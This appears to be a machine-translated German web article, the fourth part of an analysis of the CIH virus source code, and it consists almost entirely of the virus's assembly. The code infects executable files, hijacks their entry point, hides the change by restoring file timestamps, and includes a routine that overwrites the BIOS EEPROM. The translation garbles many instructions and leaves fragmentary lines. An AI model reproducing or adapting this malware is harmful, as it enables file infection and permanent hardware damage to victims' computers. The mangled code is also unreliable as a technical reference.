Heim > Artikel > Backend-Entwicklung > Analyse von Beispielen für den Quellcode von Virenprogrammen – CIH-Virus[4]
push eax ; Blocktabellengröße
push edx ; der Offset der Virencodeblocktabelle
push esi ; Pufferadresse
; zusammengeführter Virencodeblock Die Gesamtgröße muss kleiner oder gleich dem ungenutzten Speicherplatz sein
inc ecx ; Tabellenbereich
add ecx, eax
add ecx, edx ;ecx+Offset des Texts der Datei
sub ecx, (SizeOfHeaders-@9)[esi]
nicht ecx
Inc ecx ; Komplement, ecx ist Dateikopfgröße - Textoffset = ungenutzter Speicherplatz
push ecx
xchg ecx, eax ;ecx ist Blocktabellengröße
mov eax, (AddressOfEntryPoint-@9][esi] ; Eintrag RVA-Adresse
add eax, (ImageBase-@9)[esi] ; Basisadresse laden
mov (OriginalAddressOfEntryPoint-@9)[esi ], eax ;Speichern Sie die tatsächliche Eintragsadresse nach dem Laden
; Vergleichen Sie den ungenutzten Speicherplatz mit der Größe des ersten Blocks des Virus, setzen Sie nur das Infektionsflag
cmp word ptr [esp] , small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
; Alle Virenblocktabellen lesen
mov eax, ebp ; Funktionsnummer lesen
edi aufrufen ; Blocktabelle nach esi lesen (@9)
🎜 >;Der Fehler beim Umgang mit selbstextrahierenden Winzip-Dateien wird unten vollständig geändert.
Der Virus wird zunächst nicht infiziert Tabelle,
; und liest die Blockdaten, bestimmt, ob sie die Wörter „WinZip(R)“ enthalten, (SizeOfScetionTable+PointerToRawData-@9][ebx]
;edx ist der Offset des zweiten Blocks (. rdata)
add edx, 12h;Add 10h+2h (10h is „WinZip. ...“)
call edi;Read 4 bytes to esi
;Bestimmen ob Winzip selbstextrahierende Datei, wenn ja, setzen Sie das Infektionsflag nicht
cmp dword ptr [esi] , 'piZn'
je NotSetInfectedMark
pop edx ; die Blocktabelle in der Datei
; Legen Sie die Virencode-Blocktabelle fest
pop ebx ; ungenutzter Speicherplatz
pop ecx = NumberOfSections+1
push edi
add edx, ebp ; ebp ist die Blocktabellengröße
push edx ; Dateizeiger
add ebp ; zeigt auf die Blocktabelle des Virendatenbereichs ( der erste Block)
push ebp ; Pufferadresse
; Legen Sie die Größe des ersten Virencodeblocks fest
Lea eax, [ebp+edi-04h]
mov [eax], ebx
; Setze den ersten Virenblock
push ebx; Die Größe des ersten Blocks des Virencodes
edx hinzufügen, edi
push edx ; , (MyVirusStart-@9)[esi]
push edi ; Pufferadresse
; Ändern Sie den Eintrag von AddressOfEntryPoint in Virus-Eintrag
mov (NewAddressOfEntryPoint-@9) [esi], edx ; Speichern neuer Programmeintrag (Virustext)
; Anfangsdaten festlegen
lea edx, [esi-SizeOfScetionTable] ; edx Reduzieren Sie zuerst die Blocktabellenlänge
mov ebp, offset VirusSize ; der Virus
jmp StartToWriteCodeToSections
; Informationen in den Virusblock schreiben
LoopOfWriteCodeToSections:
edx hinzufügen, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx] ;ebx ist die SizeOfRawData (Blockgröße) des Blocktabellenelements
sub ebx, (VirtualSize-@9][edx] ;subtract VirtualSize entspricht ungenutztem Platz im Block
jbe EndOfWriteCodeToSections
push ebx ; Größe
sub eax, 08h
mov [eax], ebx ; write virus block table
mov ebx, (PointerToRawData-@9)[edx] ;ebx ist das Physische (tatsächlicher) Offset des Blocks
add ebx, (VirtualSize-@9)[edx] ;add VirtualSize
push ebx ;ebx Dateizeiger, der auf den ungenutzten Platz des Blocks zeigt
push edi ; Pufferadresse
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9 )[edx]
add ebx, (ImageBase-@9)[esi ] ;ebx ist die tatsächliche Adresse, nachdem der Block geladen wurde
mov [eax+4], ebx ;in der Virenblocktabelle speichern
mov ebx, [eax] ;Die ungenutzte Speicherplatzgröße des Blocks
add (VirtualSize-@9)[edx], ebx ;VirtualSize zum Blocktabelleneintrag hinzugefügt
;Ändern Sie das Blockattribut des Blocktabelleneintrags (in lesbar geändert und enthält Initialisierungsdaten)
oder (Characteristics-@9)[edx], 40000040h
; Beginnen Sie mit dem Schreiben von Code
StartToWriteCodeToSections:
sub ebp, ebx; Virusgröße – Virusblockgröße
; Wenn es kleiner ist als (Vireneinfügung abgeschlossen), setzen Sie das Endzeichen der Virenblocktabelle
jbe SetVirusCodeSectionTableEndMark
add edi , ebx; Zeigen Sie auf den Virus. Nächster Block
Ende des Schreibens des Codes
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
OnlySetInfectedMark:
mov esp, dr1 ;Nur das Infektionsflag setzen
jmp WriteVirusCodeToFile ; Springe zu dem Programm, das den Virus in die zu infizierende Datei schreibt
; Setze das Infektionsflag nicht
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile ;Gehe zu CloseFile
Virusblocktabelle und Markierungen festlegen
SetVirusCodeSectionTableEndMark:
Passen Sie den Virusblockcode an
add [eax], ebp ; Korrigieren Sie das letzte Element im Virusblock table
add [esp+08h], ebp
;Setze das Ende-Flag der Blocktabelle
lea eax, (LastVxdCallAddress-2-@9)[esi] ;Die Adresse des letzte aufgerufene Vxd-Anweisung
mov cl, VxdCallTableSize ;Die Anzahl der verwendeten Vxd-Aufrufe
LoopOfRestoreVxdCallID:
mov word ptr [eax], 20cdh;Wiederherstellen in der Form von „int 20h“
;Entnehmen Sie die ID-Nummer des Vxd-Aufrufs aus VxdCallIDTable und fügen Sie sie in edx ein
mov edx, (VxdCallIDTable+(ecx-1 )*04h-@9)[esi]
mov [eax+2], edx ;Setzen Sie es nach „int 20h“ ein
;Die Adresse jeder Anweisung zum Aufrufen von Vxd wird in der VxdCallAddressTable-Differenz platziert
movzx edx, byte ptr (VxdCallAddressTable+ecx -1-@9)[esi]
sub eax, edx ist die vorherige Anrufadresse
loop LoopOfRestoreVxdCallID; Wiederherstellung anderer Anrufe
; die Datei
WriteVirusCodeToFile:
mov eax, dr1; dr1 ist das zuvor gespeicherte esp
mov ebx, [eax+10h]; Speichern Sie das Dateihandle
, das im Stapel mov edi gespeichert ist, [eax] ; edi ist die im Stapel gespeicherte IFSMgr_FileIO-Aufrufadresse
; Schleifenschreiben
LoopOfWriteVirusCodeToFile:
pop ecx ; Offset jedes Segments des Virencodes
jecxz SetFileModificationMark ; Bis zum Virus-Offset Null
mov esi, ecx
mov eax, 0d601h ; Dateifunktionsnummer schreiben (R0_WRITEFILE)
pop edx ; Dateizeiger
pop ecx ; Anzahl der zu schreibenden Bytes
edi aufrufen; VXD ruft IFSMgr_Ring0_FileIO auf, um die Datei zu schreiben
; Schreiben Sie nacheinander jeden Virencode, jede Virenblocktabelle und
; Dateiblocktabelle, neuen Programmeintrag, Infektionsflag
jmp LoopOfWriteVirusCodeToFile
; Ändern Sie den Zeitpunkt der letzten Änderung der Datei, sodass der Benutzer nicht weiß, dass die Datei geändert wurde
SetFileModificationMark:
pop ebx
pop eax
stc ; Carry-Flag setzen
pushf ; Flag auf Stapel schieben
CloseFile:
xor eax, eax
mov ah , 0d7h ;Datei-Funktionsnummer schließen
edi ; Vxd ruft IFSMgr_Ring0_FileIO auf, um die Datei zu schließen
popf
jnc IsKillComputer ; Wenn das Carry-Flag 0 ist, wenden Sie sich an KillComputer
Dateiänderungszeit wiederherstellen
mov ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@ 7) [esi]
Aufruf ebx; Vxd ruft IFSMgr_Ring0_FileIO auf, um den Zeitpunkt der letzten Änderung der Datei zu ändern ]
; Rufen Sie den ursprünglichen FileSystemApiHook auf
popad; Wiederherstellen aller Register
mov eax, dr0; Speichern Sie das ursprüngliche Dateisystem-Hook-Programm
jmp eax] ; Springe zum ursprünglichen Hook, um
pIFSFunc:
mov ebx, esp ; ebx zeigt auf esp, um die Parameteradresse von FileSystemApiHookFunction zu erhalten
push dword ptr [ebx +20h+04h+ 14h] ; Parameter pioreqpir auf Stack
call [ebx+20h+04h] ; Call pIFSFunc FSDFnAddr
pop ecx
mov [ebx+1ch], eax ; den Wert von
; Erhalten Sie nach dem Aufruf von pIFSFunc die Daten aus dem Rückgabewert pioreq
cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook
; das Änderungsdatum und die Änderungszeit der Datei im DOS-Modus
mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;Zeit und Datum der erhaltenen Datei speichern
;Virenprogramm beenden
QuitMyVirusFileSystemHook:
popad;Alle Register wiederherstellen
ret ; Beenden Sie das vom Virus festgelegte Datei-Hook-Programm
; Zerstören Sie das Computer-BIOS
IsKillComputer:
mov al, 07h
out 70h, al
in al, 71h
jmp DisableOnBusy
ELSE
jnz DisableOnBusy ; Wenn es nicht der 26. ist, wenden Sie sich an DisableOnBusy, ohne
ENDIF
; BIOS-EEPROM zerstören *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
; BIOS-Seite des Adresssegments 000E0000 - 000EFFFF anzeigen, a insgesamt 64 KB
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
;Anzeige der BIOS-Seite des Adresssegments 000F0000 - 000FFFFF, insgesamt 64 KB
mov di, 0058h
dec edx; and a0fh
mov word ptr (BooleanCalculateCode-@10)[esi ], 0f24h
call esi
; Zeigt das zusätzliche Segment 000E0000 - 000E01FF an ROM-Daten im BIOS, insgesamt 512 Bytes
; und der beschreibbare BIOS-Block
lea ebx, EnableEEPROMToWrite -@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
Das Obige ist der Quellcode des Virenprogramms. Beispielanalyse – der Inhalt des CIH-Virus [4]. Achten Sie auf die chinesische PHP-Website (www.php.cn)!